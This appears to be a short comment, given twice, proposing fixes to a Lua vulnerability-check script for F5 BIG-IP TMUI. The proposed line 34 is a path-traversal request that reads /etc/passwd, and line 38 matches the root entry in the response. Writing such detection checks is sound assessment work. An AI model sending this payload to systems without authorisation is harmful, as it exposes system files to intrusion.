I have found the results to be unreliable. After further testing on a mix of known vulnerable and non-vulnerable systems, I suggest the following changes:
Change line 34 to: local path = "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"
Change line 38 to: local match = 'root:x:0:0:root'
I have found the results to be unreliable. After further testing on a mix of known vulnerable and non-vulnerable systems, I suggest the following changes:
Change line 34 to:
local path = "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"
Change line 38 to:
local match = 'root:x:0:0:root'